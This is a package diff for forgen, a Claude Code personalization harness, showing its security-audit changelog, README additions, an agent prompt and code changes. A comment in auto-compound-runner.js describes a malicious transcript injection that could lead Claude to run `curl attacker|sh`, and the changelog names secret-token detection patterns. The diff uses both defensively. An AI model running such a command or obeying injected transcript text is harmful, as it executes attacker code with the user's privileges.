@wooojin/forgen 0.3.0 → 0.3.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (86) hide show
  1. package/.claude-plugin/plugin.json +7 -2
  2. package/CHANGELOG.md +132 -0
  3. package/README.ja.md +29 -0
  4. package/README.ko.md +29 -0
  5. package/README.md +36 -3
  6. package/README.zh.md +29 -0
  7. package/agents/solution-evolver.md +115 -0
  8. package/dist/cli.js +11 -3
  9. package/dist/core/auto-compound-runner.js +6 -3
  10. package/dist/core/dashboard.js +57 -4
  11. package/dist/core/doctor.d.ts +6 -1
  12. package/dist/core/doctor.js +21 -1
  13. package/dist/core/global-config.d.ts +2 -2
  14. package/dist/core/global-config.js +6 -14
  15. package/dist/core/harness.d.ts +3 -5
  16. package/dist/core/harness.js +34 -338
  17. package/dist/core/installer.d.ts +10 -0
  18. package/dist/core/installer.js +185 -0
  19. package/dist/core/paths.d.ts +25 -34
  20. package/dist/core/paths.js +25 -35
  21. package/dist/core/settings-injector.d.ts +13 -0
  22. package/dist/core/settings-injector.js +167 -0
  23. package/dist/core/settings-lock.d.ts +35 -2
  24. package/dist/core/settings-lock.js +65 -7
  25. package/dist/core/spawn.js +100 -39
  26. package/dist/core/state-gc.d.ts +30 -0
  27. package/dist/core/state-gc.js +119 -0
  28. package/dist/core/uninstall.js +12 -4
  29. package/dist/core/v1-bootstrap.js +2 -2
  30. package/dist/engine/compound-cli.d.ts +27 -2
  31. package/dist/engine/compound-cli.js +69 -16
  32. package/dist/engine/compound-export.d.ts +15 -0
  33. package/dist/engine/compound-export.js +32 -5
  34. package/dist/engine/compound-loop.js +3 -2
  35. package/dist/engine/learn-cli.d.ts +1 -0
  36. package/dist/engine/learn-cli.js +234 -0
  37. package/dist/engine/match-eval-log.js +45 -0
  38. package/dist/engine/solution-candidate.d.ts +30 -0
  39. package/dist/engine/solution-candidate.js +124 -0
  40. package/dist/engine/solution-fitness.d.ts +52 -0
  41. package/dist/engine/solution-fitness.js +95 -0
  42. package/dist/engine/solution-fixup.d.ts +30 -0
  43. package/dist/engine/solution-fixup.js +116 -0
  44. package/dist/engine/solution-format.d.ts +8 -2
  45. package/dist/engine/solution-format.js +38 -27
  46. package/dist/engine/solution-index.js +10 -0
  47. package/dist/engine/solution-matcher.d.ts +8 -0
  48. package/dist/engine/solution-matcher.js +27 -1
  49. package/dist/engine/solution-outcomes.d.ts +74 -0
  50. package/dist/engine/solution-outcomes.js +319 -0
  51. package/dist/engine/solution-quarantine.d.ts +36 -0
  52. package/dist/engine/solution-quarantine.js +172 -0
  53. package/dist/engine/solution-weakness.d.ts +45 -0
  54. package/dist/engine/solution-weakness.js +225 -0
  55. package/dist/engine/solution-writer.d.ts +9 -1
  56. package/dist/engine/solution-writer.js +44 -2
  57. package/dist/fgx.js +9 -2
  58. package/dist/forge/cli.js +7 -7
  59. package/dist/hooks/context-guard.js +15 -1
  60. package/dist/hooks/hook-config.d.ts +9 -1
  61. package/dist/hooks/hook-config.js +25 -3
  62. package/dist/hooks/internal/run-lifecycle-check.d.ts +2 -0
  63. package/dist/hooks/internal/run-lifecycle-check.js +32 -0
  64. package/dist/hooks/notepad-injector.js +6 -3
  65. package/dist/hooks/permission-handler.d.ts +10 -2
  66. package/dist/hooks/permission-handler.js +31 -12
  67. package/dist/hooks/post-tool-failure.js +7 -0
  68. package/dist/hooks/pre-tool-use.js +10 -4
  69. package/dist/hooks/secret-filter.js +6 -0
  70. package/dist/hooks/session-recovery.js +15 -7
  71. package/dist/hooks/shared/hook-response.d.ts +0 -2
  72. package/dist/hooks/shared/hook-response.js +3 -8
  73. package/dist/hooks/shared/hook-timing.js +10 -1
  74. package/dist/hooks/solution-injector.d.ts +21 -0
  75. package/dist/hooks/solution-injector.js +80 -1
  76. package/dist/mcp/solution-reader.d.ts +2 -0
  77. package/dist/mcp/solution-reader.js +28 -1
  78. package/dist/mcp/tools.js +13 -2
  79. package/dist/preset/preset-manager.js +12 -2
  80. package/dist/store/evidence-store.js +5 -5
  81. package/dist/store/profile-store.d.ts +9 -0
  82. package/dist/store/profile-store.js +25 -4
  83. package/dist/store/rule-store.js +8 -8
  84. package/package.json +1 -1
  85. package/plugin.json +7 -2
  86. package/scripts/postinstall.js +52 -5
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "$schema": "https://claude.ai/schemas/claude-plugin.json",
3
3
  "name": "forgen",
4
- "version": "5.1.2",
4
+ "version": "0.3.2",
5
5
  "description": "Claude Code harness — the more you use Claude, the better it gets",
6
6
  "author": {
7
7
  "name": "jang-ujin",
@@ -10,7 +10,12 @@
10
10
  "repository": "https://github.com/wooo-jin/forgen",
11
11
  "homepage": "https://github.com/wooo-jin/forgen",
12
12
  "license": "MIT",
13
- "keywords": ["claude-code", "harness", "personalization", "forge"],
13
+ "keywords": [
14
+ "claude-code",
15
+ "harness",
16
+ "personalization",
17
+ "forge"
18
+ ],
14
19
  "skills": "./skills/",
15
20
  "agents": "agents/",
16
21
  "statusLine": {
package/CHANGELOG.md CHANGED
@@ -5,6 +5,138 @@ All notable changes to forgen will be documented in this file.
5
5
  The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
6
6
  and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
7
7
 
8
+ ## [0.3.2] - 2026-04-21
9
+
10
+ ### Security — Audit findings landed
11
+
12
+ Independent read-only audit (docs/claude-audit-brief.md) surfaced 10 structural
13
+ issues plus 2 follow-up findings. All 12 are fixed with invariant tests.
14
+
15
+ **P0 — data loss / code injection**
16
+ - **Settings parse-failure data loss** (#2, #10): `settings-injector.ts` and
17
+ `scripts/postinstall.js` no longer silently replace a malformed settings.json
18
+ with `{}`. New `readSettingsSafely()` preserves the corrupt original to
19
+ `settings.json.corrupt-<ts>` and throws; writers release the lock and abort.
20
+ postinstall settings + `~/.claude.json` now use tmp-file + rename atomic write.
21
+ - **Code injection via node -e** (#5): `session-recovery.ts` no longer
22
+ interpolates a user-supplied sessionId into a `-e` template literal. A
23
+ dedicated runner at `dist/hooks/internal/run-lifecycle-check.js` reads the id
24
+ from argv — no shell, no eval surface.
25
+ - **solution-outcomes race** (#9): all pending-state mutations are now serialised
26
+ under `withFileLockSync` + `atomicWriteJSON`. Concurrent inject / correction /
27
+ error hooks on the same session no longer lose or duplicate events.
28
+ - **Archive path traversal** (follow-up #A): `compound-export.importKnowledge`
29
+ rejects entries whose resolved destination sits outside ME_DIR, including
30
+ sibling-directory prefix collisions (e.g. `../me-evil/…`).
31
+
32
+ **P1 — lock semantics, trust, uninstall, injection precision**
33
+ - **Settings-lock live-holder handling** (#1): acquireLock now throws
34
+ `SettingsLockError` on live-PID timeout instead of overwriting the lock;
35
+ releaseLock verifies ownership before deleting.
36
+ - **Trust silent escalation** (#3): `preset-manager.computeEffectiveTrust`
37
+ returns a `Trust 상승` warning when runtime is more permissive than desired;
38
+ harness surfaces it to the user; fgx cautions `가드레일 우선`/`승인 완화`
39
+ profile users.
40
+ - **Install/uninstall symmetry** (#7): `uninstall` now strips `FORGEN_*` env
41
+ keys (previously only `COMPOUND_*`) and recognises `forgen me` (previously
42
+ only `forgen status`) as the forgen-owned statusLine.
43
+ - **Legacy profile guard** (#6): `loadProfile` runs `isV1Profile` and returns
44
+ null on legacy shapes so bootstrap re-runs cutover instead of typing stale
45
+ JSON as v1.
46
+ - **secret-filter vendor tokens** (follow-up #B): GitHub PATs (ghp_/gho_/
47
+ ghs_/ghu_/ghr_), Google API keys (AIza…), and Slack tokens (xox[abpors]-…)
48
+ are now detected.
49
+
50
+ **P2 — label truth, transcript attribution**
51
+ - **permission-handler labels** (#4): `approve()`/`approveWithWarning()` never
52
+ set `permissionDecision: 'allow'`; they are pass-through. Log and API labels
53
+ renamed to `safe-pass-through` / `autopilot-warn-pass-through` /
54
+ `autopilot-pass-through` / `pass-through` so audit trails match reality.
55
+ - **Transcript per-session attribution** (#8): `spawn.ts` snapshots existing
56
+ transcripts before launching claude and diffs after exit; concurrent sessions
57
+ in the same cwd no longer cross-attribute. Transcript reading switched to
58
+ streaming (`createReadStream` + `readline`).
59
+
60
+ ### Added — Data hygiene
61
+
62
+ Field audit on a ~2-week-old install found 10,802 files in `~/.forgen/state/`
63
+ across 12 filename prefixes, 4.3 MB `match-eval-log.jsonl`, and 80% of
64
+ error-attribution events concentrated on 3 solutions injected at relevance
65
+ 0.15–0.21.
66
+
67
+ - `forgen doctor --prune-state` (new `src/core/state-gc.ts`): removes session-
68
+ scoped files older than 7 days (checkpoint-, injection-cache-, modified-
69
+ files-, outcome-pending-, permissions-, skill-trigger-, tool-state-,
70
+ reminder-, context-, last-). Aggregate jsonl logs are preserved.
71
+ - `solution-outcomes.attributeError` gates: match_score ≥ 0.3,
72
+ injection-lag ≤ 5 min, top-3 by relevance. Prevents blanket blaming of
73
+ every injected solution when a tool fails.
74
+ - `solution-injector.MIN_INJECT_RELEVANCE = 0.3` + multi-tag precision gate
75
+ (`matchedIdentifiers ≥ 1 OR matchedTags ≥ 2`): the matcher remains
76
+ permissive for recall@5; only the injection step enforces the stricter
77
+ gate. Zero single-tag high-score injections observed in the field corpus
78
+ after landing.
79
+ - `match-eval-log.jsonl` size-based rotation at 10 MB (one generation
80
+ retained).
81
+
82
+ ### Fixed — e2e test isolation
83
+
84
+ Docker-spawned hooks in `tests/e2e/*.test.ts` were writing session state
85
+ (`e2e-tool-chain`, `chain5-test`, etc.) into the developer's real
86
+ `~/.forgen/state/`. Each e2e file now allocates a fresh `mkdtempSync` HOME
87
+ and injects it into the spawn env; `afterAll` cleans up. Likewise
88
+ `tests/hook-response-tracking.test.ts` now mocks `node:os` so the tracking
89
+ log never lands outside `/tmp/`.
90
+
91
+ ### Fixed — Stale Docker verify checks
92
+
93
+ `tests/e2e/docker/verify.sh` was asserting three skills that were deleted in
94
+ commit f534227 (v0.3 quality refactor). Result goes from 62/4/6 to 63/0/6
95
+ without touching runtime code.
96
+
97
+ ### Notes
98
+
99
+ - All fixes confirmed via invariant tests (1732/1732 pass across 143 files),
100
+ 7 real-world attack scenarios (injection, concurrent mutation, corrupt
101
+ settings, path traversal, prune, doctor smoke), and Linux-clean-environment
102
+ Docker verification.
103
+ - Upgrade path from 0.3.1 verified (profile + solutions + non-forgen settings
104
+ byte-identical after upgrade).
105
+ - Windows code paths exist but runtime validation is deferred to GH Actions
106
+ Windows runner — see P-D note in release audit.
107
+
108
+ ## [0.3.1] - 2026-04-16
109
+
110
+ ### Added — Self-Evolving Harness (inspired by Stanford meta-harness)
111
+
112
+ Three-phase evolution loop around the existing compound solution store:
113
+
114
+ **Phase 1 — Fitness Loop (Select axis):**
115
+ - `solution-outcomes`: per-session inject→outcome event log (accept/correct/error/unknown) with fail-open semantics; attribution through solution-injector (appendPending/flushAccept), correction-record MCP (attributeCorrection), and post-tool-failure hook (attributeError).
116
+ - `solution-fitness`: Laplace-smoothed acceptance ratio × log(1+injected) confidence. State classification: draft / active / champion / underperform. No auto-delete — population-relative thresholds only.
117
+ - `solution-quarantine`: malformed frontmatter no longer silently dropped — invalid files surface in `~/.forgen/state/solution-quarantine.jsonl` with actionable diagnostics; `listQuarantined` / `pruneQuarantine` helpers.
118
+ - `solution-fixup`: schema migration for legacy defects (missing `extractedBy`, missing `evidence` block, missing `supersedes`). Applied to the live install, this recovered 5 dead solutions and one was injected on the next matching prompt.
119
+
120
+ **Phase 4 — Self-Evolution (Propose + Select axes):**
121
+ - `solution-weakness`: structured discovery report from four detectors — under-served tags (correction evidence without a matching champion), conflict clusters, dead corners (injected=0 with unique tags), volatile solutions (accept-rate shift >0.3).
122
+ - `ch-solution-evolver` agent: Opus proposer, Bash-disabled, emits exactly 3 novel candidates into `~/.forgen/lab/candidates/` with 30%-80% tag overlap gate and self-critique novelty check.
123
+ - Candidate cold-start bonus: solutions with `status: candidate` get confidence × 1.3 so they reach enough injections to accumulate fitness. Auto-promotes to `verified` at 5 injections; bonus disappears naturally.
124
+ - Candidate lifecycle: `promoteCandidate` validates schema + refuses name collisions before moving files from lab to `me/solutions`. `rollbackSince` archives every `source: evolved` solution newer than a cutoff to `~/.forgen/lab/archived/rollback-{ts}/` (never deletes — always recoverable).
125
+
126
+ **CLI surface:**
127
+ - `forgen learn fix-up [--apply]` — dry-run repair of malformed solutions.
128
+ - `forgen learn quarantine [--prune]` — show / clean dropped solutions.
129
+ - `forgen learn fitness [--json]` — per-solution fitness table.
130
+ - `forgen learn evolve [--save]` — weakness report + proposer hint.
131
+ - `forgen learn evolve --promote --list` / `--promote <name>` — candidate promotion.
132
+ - `forgen learn evolve --rollback <epoch-ms-or-ISO>` — time-bounded rollback.
133
+ - Dashboard gains a 🎯 Solution Fitness panel (state distribution + top-3).
134
+
135
+ **Dogfood evidence:** the full pipeline was exercised end-to-end — weakness report → evolver-agent proposal → schema validation → promotion → cold-start-boosted match (relevance 0.78) → injection counter increment.
136
+
137
+ ### Documentation
138
+ - `docs/design-solution-evolution.md` — Phase 4 design spec with open questions, prerequisites, and rollout plan.
139
+
8
140
  ## [0.3.0] - 2026-04-15
9
141
 
10
142
  ### BREAKING
package/README.ja.md CHANGED
@@ -131,6 +131,35 @@ forgen
131
131
  - **Node.js** >= 20(SQLite セッション検索には >= 22 を推奨)
132
132
  - **Claude Code** インストール・認証済み(`npm i -g @anthropic-ai/claude-code`)
133
133
 
134
+ > **ベンダー依存:** forgen は Claude Code をラップします。Anthropic API または Claude Code の変更が動作に影響する可能性があります。Claude Code 1.0.x でテスト済みです。
135
+
136
+ ---
137
+
138
+ ## なぜ forgen か
139
+
140
+ | | Generic Claude Code | oh-my-claudecode | forgen |
141
+ |------------------------|:-------------------:|:----------------:|:---------------:|
142
+ | 全員に同じ | Yes | Yes | **No** |
143
+ | 修正から学習 | No | No | **Yes** |
144
+ | エビデンスベースのライフサイクル| No | No | **Yes** |
145
+ | 悪いパターンを自動リタイア| No | No | **Yes** |
146
+ | パーソナライズされたルール| No | No | **Yes** |
147
+ | ランタイム依存関係 | - | many | **3** |
148
+
149
+ ### forgen が向いているケース
150
+
151
+ **向いている場合:**
152
+ - 数週間かけて Claude があなたのパターンを学習する長期プロジェクト
153
+ - AI の振る舞いに強いこだわりがある開発者
154
+ - Compound 知識の恩恵を受ける繰り返しパターンがあるコードベース
155
+
156
+ **向いていない場合:**
157
+ - 使い捨てのスクリプトや一時的なプロトタイプ
158
+ - Claude Code がない環境
159
+ - すべてのメンバーに同じ AI 動作が必要なチーム(forgen は個人用であり、チーム向けではありません)
160
+
161
+ **forgen + oh-my-claudecode:** 一緒に使えます。OMC はオーケストレーション(エージェント、ワークフロー)を、forgen はパーソナライゼーション(プロファイル、学習)を担当します。[共存ガイド](docs/guides/with-omc.md) を参照してください。
162
+
134
163
  ---
135
164
 
136
165
  ## 仕組み
package/README.ko.md CHANGED
@@ -131,6 +131,35 @@ forgen
131
131
  - **Node.js** >= 20 (SQLite 세션 검색은 >= 22 권장)
132
132
  - **Claude Code** 설치 및 인증 (`npm i -g @anthropic-ai/claude-code`)
133
133
 
134
+ > **벤더 의존성:** forgen은 Claude Code를 래핑합니다. Anthropic API 또는 Claude Code 변경이 동작에 영향을 줄 수 있습니다. Claude Code 1.0.x 기준으로 테스트되었습니다.
135
+
136
+ ---
137
+
138
+ ## 왜 forgen인가
139
+
140
+ | | Generic Claude Code | oh-my-claudecode | forgen |
141
+ |------------------------|:-------------------:|:----------------:|:---------------:|
142
+ | 모두에게 동일 | Yes | Yes | **No** |
143
+ | 교정에서 학습 | No | No | **Yes** |
144
+ | Evidence 기반 라이프사이클| No | No | **Yes** |
145
+ | 나쁜 패턴 자동 은퇴 | No | No | **Yes** |
146
+ | 개인화된 규칙 | No | No | **Yes** |
147
+ | 런타임 의존성 | - | many | **3** |
148
+
149
+ ### 언제 사용하면 좋은가
150
+
151
+ **잘 맞는 경우:**
152
+ - 몇 주에 걸쳐 Claude가 패턴을 학습하는 장기 프로젝트
153
+ - AI 행동 방식에 강한 선호가 있는 개발자
154
+ - Compound 지식의 혜택을 받는 반복 패턴이 있는 코드베이스
155
+
156
+ **맞지 않는 경우:**
157
+ - 일회성 스크립트나 임시 프로토타입
158
+ - Claude Code가 없는 환경
159
+ - 모든 구성원이 동일한 AI 행동이 필요한 팀 (forgen은 개인용이지, 팀용이 아님)
160
+
161
+ **forgen + oh-my-claudecode:** 함께 사용할 수 있습니다. OMC는 오케스트레이션(에이전트, 워크플로우)을, forgen은 개인화(프로필, 학습)를 담당합니다. [공존 가이드](docs/guides/with-omc.md)를 참고하세요.
162
+
134
163
  ---
135
164
 
136
165
  ## 동작 방식
package/README.md CHANGED
@@ -109,7 +109,7 @@ Facets are micro-adjusted based on accumulated evidence. If your corrections con
109
109
 
110
110
  ### Next session
111
111
 
112
- Updated rules are rendered with your corrections included. Compound knowledge is searchable via MCP. Claude gets better at being *your* Claude.
112
+ Updated rules are rendered with your corrections included. Compound knowledge is searchable via MCP. Retrieval precision grows as your personal accumulation grows — the mechanism is in place from day 1 (starter-pack covers common dev queries on a fresh install), and the signal-to-noise ratio improves over roughly 2–4 weeks of real use as low-fitness solutions are auto-demoted and your specific patterns get promoted.
113
113
 
114
114
  ---
115
115
 
@@ -131,6 +131,35 @@ forgen
131
131
  - **Node.js** >= 20 (>= 22 recommended for SQLite session search)
132
132
  - **Claude Code** installed and authenticated (`npm i -g @anthropic-ai/claude-code`)
133
133
 
134
+ > **Vendor dependency:** Forgen wraps Claude Code. Anthropic API or Claude Code changes may affect behavior. Tested with Claude Code 1.0.x.
135
+
136
+ ---
137
+
138
+ ## Why forgen
139
+
140
+ | | Generic Claude Code | oh-my-claudecode | forgen |
141
+ |------------------------|:-------------------:|:----------------:|:---------------:|
142
+ | Same for everyone | Yes | Yes | **No** |
143
+ | Learns from corrections| No | No | **Yes** |
144
+ | Evidence-based lifecycle| No | No | **Yes** |
145
+ | Auto-retires bad patterns| No | No | **Yes** |
146
+ | Personalized rules | No | No | **Yes** |
147
+ | Runtime dependencies | - | many | **3** |
148
+
149
+ ### When to use forgen
150
+
151
+ **Good fit:**
152
+ - Long-running projects where Claude learns your patterns over weeks
153
+ - Developers with strong preferences about how AI should behave
154
+ - Codebases with recurring patterns that benefit from compound knowledge
155
+
156
+ **Not a fit:**
157
+ - One-off scripts or throwaway prototypes
158
+ - Environments without Claude Code
159
+ - Teams that need identical AI behavior for all members (forgen is personal, not team-wide)
160
+
161
+ **forgen + oh-my-claudecode:** They work together. OMC provides orchestration (agents, workflows); forgen provides personalization (profile, learning). See [Coexistence Guide](docs/guides/with-omc.md).
162
+
134
163
  ---
135
164
 
136
165
  ## How It Works
@@ -209,12 +238,16 @@ solution-injector matches: starter-error-handling-patterns (0.70)
209
238
  Claude sees: "Matched solutions: error-handling-patterns [pattern|0.70]
210
239
  Use try/catch with specific error types. Always log original error..."
211
240
 
212
- Claude writes better error handling code, informed by your accumulated patterns.
241
+ Claude has your accumulated patterns in context while drafting the response.
213
242
  ```
214
243
 
244
+ Precision gates (v0.3.2+): matches below relevance 0.3 or with only a single
245
+ common-word tag overlap are filtered before injection so Claude's context
246
+ doesn't get polluted by low-signal hits.
247
+
215
248
  ### 10 built-in skills
216
249
 
217
- Curated, compound-native skills. Each one integrates with accumulated knowledge — they get better every session.
250
+ Curated, compound-native skills. Each integrates with your accumulated knowledge — effectiveness compounds as your personal solution base grows.
218
251
 
219
252
  **Core chain** (build → learn):
220
253
 
package/README.zh.md CHANGED
@@ -131,6 +131,35 @@ forgen
131
131
  - **Node.js** >= 20(SQLite 会话搜索推荐 >= 22)
132
132
  - **Claude Code** 已安装并认证(`npm i -g @anthropic-ai/claude-code`)
133
133
 
134
+ > **厂商依赖:** forgen 封装了 Claude Code。Anthropic API 或 Claude Code 的变更可能影响其行为。已在 Claude Code 1.0.x 版本下测试。
135
+
136
+ ---
137
+
138
+ ## 为什么选择 forgen
139
+
140
+ | | Generic Claude Code | oh-my-claudecode | forgen |
141
+ |------------------------|:-------------------:|:----------------:|:---------------:|
142
+ | 对所有人相同 | Yes | Yes | **No** |
143
+ | 从纠正中学习 | No | No | **Yes** |
144
+ | 基于证据的生命周期 | No | No | **Yes** |
145
+ | 自动淘汰不良模式 | No | No | **Yes** |
146
+ | 个性化规则 | No | No | **Yes** |
147
+ | 运行时依赖 | - | many | **3** |
148
+
149
+ ### 适用场景
150
+
151
+ **适合使用:**
152
+ - Claude 可以在数周内学习你的模式的长期项目
153
+ - 对 AI 行为方式有强烈偏好的开发者
154
+ - 有重复模式、能从 Compound 知识中获益的代码库
155
+
156
+ **不适合使用:**
157
+ - 一次性脚本或临时原型
158
+ - 没有 Claude Code 的环境
159
+ - 需要所有成员 AI 行为完全一致的团队(forgen 是个人化的,不面向团队)
160
+
161
+ **forgen + oh-my-claudecode:** 可以一起使用。OMC 负责编排(智能体、工作流); forgen 负责个性化(档案、学习)。详情请参阅 [共存指南](docs/guides/with-omc.md)。
162
+
134
163
  ---
135
164
 
136
165
  ## 工作原理
@@ -0,0 +1,115 @@
1
+ ---
2
+ name: ch-solution-evolver
3
+ description: Propose 3 novel compound-solution candidates from a weakness report (Phase 4 evolution loop)
4
+ model: opus
5
+ maxTurns: 10
6
+ color: cyan
7
+ disallowedTools:
8
+ - Bash
9
+ ---
10
+
11
+ <!-- forgen-managed -->
12
+
13
+ <Agent_Prompt>
14
+
15
+ # Solution Evolver — compound-solution 후보 제안자
16
+
17
+ "기존에 통한 패턴은 보존한다. 부족한 영역만 새 패턴을 심는다."
18
+
19
+ 당신은 forgen 하네스의 **진화 엔진**입니다. 입력으로 주어진 weakness report를 읽고, **정확히 3개**의 compound-solution 후보를 제안합니다.
20
+
21
+ <Success_Criteria>
22
+ - 정확히 3개 후보를 제안 (더 적거나 많으면 실패)
23
+ - 각 후보는 weakness report의 under-served tags 또는 conflict cluster 중 하나를 타깃
24
+ - 각 후보는 기존 champion과 **tag overlap 30~80%** — 완전 중복도 완전 무관도 거부
25
+ - 본문 길이 ≤ 1200 chars (토큰 비용 제약)
26
+ - 각 후보에 "왜 novel한가"를 한 줄로 기재
27
+ </Success_Criteria>
28
+
29
+ <Failure_Modes_To_Avoid>
30
+ - 파라미터만 다른 변형 (예: "TDD를 더 엄격히" — 진짜 novel이 아님)
31
+ - 같은 이름 재사용 (collision 유발)
32
+ - 기존 champion을 직접 수정 제안 (stable한 건 건드리지 않음)
33
+ - 도메인 specific 하드코딩 (예: "forgen 코드 베이스 전용" → 일반화 불가)
34
+ - dataset/언어 specific (예: "Python에서만" — 범용성 훼손)
35
+ </Failure_Modes_To_Avoid>
36
+
37
+ ## 입력 형식
38
+
39
+ 호출자가 아래를 제공합니다:
40
+
41
+ 1. **Weakness Report** JSON (`~/.forgen/state/weakness-report-{ts}.json`)
42
+ - `under_served_tags`: correction은 많은데 champion이 없는 태그
43
+ - `conflict_clusters`: 같은 태그에서 champion/underperform 공존 영역
44
+ - `dead_corners`: 아예 매칭 안 되는 고립 태그
45
+ 2. **기존 champion 솔루션** 상위 5개 (참고 맥락)
46
+
47
+ ## 출력 형식
48
+
49
+ 각 후보를 **파일로 직접 작성**합니다. 대상 디렉토리: `~/.forgen/lab/candidates/`.
50
+ 파일명은 `evolved-{slug}.md` 형식 (slug는 후보 이름에서 영문 소문자 + 하이픈만).
51
+ 이 디렉토리는 격리된 qurantine 영역으로, 여기 쓴 파일은 매칭에 바로 참여하지 **않습니다**.
52
+ 사용자가 `forgen learn evolve --promote <name>` 을 실행해야 `me/solutions/`로 이동합니다.
53
+
54
+ 파일 구조:
55
+
56
+ ```markdown
57
+ ### Candidate 1: {slug}
58
+ novelty: {한 줄 설명 — 왜 기존과 다른가}
59
+ target_weakness: {under_served_tag | conflict_cluster | dead_corner}
60
+ target_detail: {구체적 약점 레퍼런스}
61
+
62
+ ---
63
+ name: evolved-{slug}
64
+ version: 1
65
+ status: candidate
66
+ confidence: 0.6
67
+ type: pattern
68
+ scope: me
69
+ tags:
70
+ - {tag1}
71
+ - {tag2}
72
+ - ...
73
+ identifiers: []
74
+ created: "YYYY-MM-DD"
75
+ updated: "YYYY-MM-DD"
76
+ supersedes: null
77
+ extractedBy: auto
78
+ source: evolved
79
+ evidence:
80
+ injected: 0
81
+ reflected: 0
82
+ negative: 0
83
+ sessions: 0
84
+ reExtracted: 0
85
+ ---
86
+
87
+ ## Context
88
+ {한두 문장: 언제 이 패턴을 적용하는가}
89
+
90
+ ## Rule
91
+ {핵심 규칙 1~2개, 짧게}
92
+
93
+ ## Anti-pattern
94
+ {이것만은 피하라 1개}
95
+ ```
96
+
97
+ ### Candidate 2, 3도 동일 형식.
98
+
99
+ ## Workflow
100
+
101
+ 1. **Read weakness report** — 어떤 구멍이 큰지 파악 (correction_mentions, dead_corner 크기 순)
102
+ 2. **Read top 5 champions** — 그들의 태그/본문/길이 관찰 (본받을 구조, 중복 피할 영역)
103
+ 3. **Select 3 targets** — 각기 다른 weakness에서 1개씩 (under-served 1 + conflict 1 + dead-corner 1 이상적)
104
+ 4. **Prototype mentally** — 각 후보의 한 줄 핵심 rule이 기존 champion과 실제로 다른지 self-check
105
+ 5. **Emit 3 candidates** — 위 format 준수
106
+
107
+ ## Novelty Gate — Self-critique
108
+
109
+ 제출 전 각 후보에 대해 다음 질문에 답하세요:
110
+
111
+ - 기존 champion 중 tag overlap 50% 이상인 솔루션이 있다면, 이 후보의 **Rule**이 그 champion의 Rule과 **다른 조언**을 하는가? (Yes가 아니면 탈락)
112
+ - 이 후보가 맞출 weakness 타깃이 report에 명시되어 있는가? (없으면 탈락 — 근거 없는 제안 거부)
113
+ - 본문이 1200자를 초과하는가? (초과면 요약)
114
+
115
+ </Agent_Prompt>
package/dist/cli.js CHANGED
@@ -79,6 +79,14 @@ const commands = [
79
79
  await handleDashboard();
80
80
  },
81
81
  },
82
+ {
83
+ name: 'learn',
84
+ description: 'Solution maintenance: fix-up | quarantine | fitness',
85
+ handler: async (args) => {
86
+ const { handleLearn } = await import('./engine/learn-cli.js');
87
+ await handleLearn(args);
88
+ },
89
+ },
82
90
  {
83
91
  name: 'me',
84
92
  description: 'Personal dashboard (→ inspect profile)',
@@ -151,10 +159,10 @@ const commands = [
151
159
  },
152
160
  {
153
161
  name: 'doctor',
154
- description: 'Diagnostics',
155
- handler: async (_args) => {
162
+ description: 'Diagnostics (--prune-state to GC stale session files)',
163
+ handler: async (args) => {
156
164
  const { runDoctor } = await import('./core/doctor.js');
157
- await runDoctor();
165
+ await runDoctor({ pruneState: args.includes('--prune-state') });
158
166
  },
159
167
  },
160
168
  // install --plugin 제거됨 — postinstall이 유일한 설치 경로
@@ -279,10 +279,13 @@ try {
279
279
  ---
280
280
  ${sanitizedSummary.slice(0, 6000)}
281
281
  ---`;
282
+ // P1-S1 fix (2026-04-20): 과거에는 `--allowedTools Bash`로 전체 Bash 권한을 줘서
283
+ // 악성 transcript(공급망 인젝션)가 filter를 우회해 `curl attacker|sh` 같은 명령을
284
+ // 피해자 권한으로 실행시킬 수 있었다. 이제 `Bash(forgen compound:*)`로 좁혀 Claude
285
+ // 가 compound 추출용 forgen CLI 호출만 가능하게 한다. filter-bypass 시에도 임의
286
+ // 명령 실행 차단.
282
287
  try {
283
- execClaudeRetry(['-p', solutionPrompt, '--allowedTools', 'Bash', '--model', COMPOUND_MODEL], {
284
- cwd, timeout: 90_000, stdio: ['pipe', 'ignore', 'pipe'],
285
- });
288
+ execClaudeRetry(['-p', solutionPrompt, '--allowedTools', 'Bash(forgen compound:*)', '--model', COMPOUND_MODEL], { cwd, timeout: 90_000, stdio: ['pipe', 'ignore', 'pipe'] });
286
289
  }
287
290
  catch (e) {
288
291
  process.stderr.write(`[forgen-auto-compound] solution extraction: ${e instanceof Error ? e.message : String(e)}\n`);
@@ -13,7 +13,14 @@
13
13
  */
14
14
  import * as fs from 'node:fs';
15
15
  import * as path from 'node:path';
16
- import { ME_SOLUTIONS, ME_RULES, ME_BEHAVIOR, STATE_DIR, V1_EVIDENCE_DIR, } from './paths.js';
16
+ import { createRequire } from 'node:module';
17
+ // P0-1 fix (2026-04-20): ESM `"type": "module"` 프로젝트에서 `require`가 글로벌에
18
+ // 없어 이전에는 renderFitnessSummary 안의 `require('../engine/solution-fitness.js')`가
19
+ // 항상 ReferenceError로 catch 경로에 떨어져 Solution Fitness 대시보드 섹션이
20
+ // 조용히 무효화됐다 (정상처럼 "아직 outcome 이벤트 데이터 없음" 출력).
21
+ // createRequire로 CJS require를 ESM 환경에 부트스트랩 — session-store.ts 패턴 동일.
22
+ const require = createRequire(import.meta.url);
23
+ import { ME_SOLUTIONS, ME_RULES, ME_BEHAVIOR, STATE_DIR, } from './paths.js';
17
24
  import { parseFrontmatterOnly } from '../engine/solution-format.js';
18
25
  import { readMatchEvalLog } from '../engine/match-eval-log.js';
19
26
  // ── ANSI color helpers ──
@@ -361,11 +368,11 @@ export function collectLearningCurve() {
361
368
  const axisCounts = new Map();
362
369
  const uniqueDays = new Set();
363
370
  try {
364
- if (fs.existsSync(V1_EVIDENCE_DIR)) {
365
- const files = fs.readdirSync(V1_EVIDENCE_DIR).filter(f => f.endsWith('.json'));
371
+ if (fs.existsSync(ME_BEHAVIOR)) {
372
+ const files = fs.readdirSync(ME_BEHAVIOR).filter(f => f.endsWith('.json'));
366
373
  for (const f of files) {
367
374
  try {
368
- const data = JSON.parse(fs.readFileSync(path.join(V1_EVIDENCE_DIR, f), 'utf-8'));
375
+ const data = JSON.parse(fs.readFileSync(path.join(ME_BEHAVIOR, f), 'utf-8'));
369
376
  if (!data.timestamp)
370
377
  continue;
371
378
  const ts = new Date(data.timestamp).getTime();
